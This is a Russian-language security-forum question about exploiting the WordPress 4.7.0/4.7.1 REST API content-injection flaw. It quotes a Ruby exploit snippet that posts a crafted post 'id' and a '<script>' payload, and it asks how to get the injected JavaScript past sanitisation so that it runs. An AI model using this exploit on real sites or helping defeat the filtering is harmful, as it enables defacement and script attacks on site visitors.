Как инжектить JS в уязвимости WP Content Injection?

CryNet

Newbie
23.09.2020
11
0
В WP 4.7.0 и 4.7.1 есть дыра позволяющая заменить контент на странице.
Есть сплойт: # Exploit Title: WP Content Injection# Date: 31 Jan' 2017# Exploit Author: H - Pastebin.com
В сплойте есть строки:
Ruby:
response = RestClient.post(
  "#{targeturi}/index.php/wp-json/wp/v2/posts/#{postid}",
  {
    "id" => "#{postid}justrawdata",
    #"title" => "You have been hacked",
    "content" => "<script>console.log(1)</script>"
  }.to_json,
  :content_type => :json,
  :accept => :json
) {|response, request, result| response }
При эксплуатации строка <script>console.log(1)</script> превращяется в текст: console.log(1), в HTML это выглядит так: <p>console.log(1)</p>.
Есть способ это пофиксить и отгрузить как JS, чтобы он выполнился?
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →

Популярный контент

🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab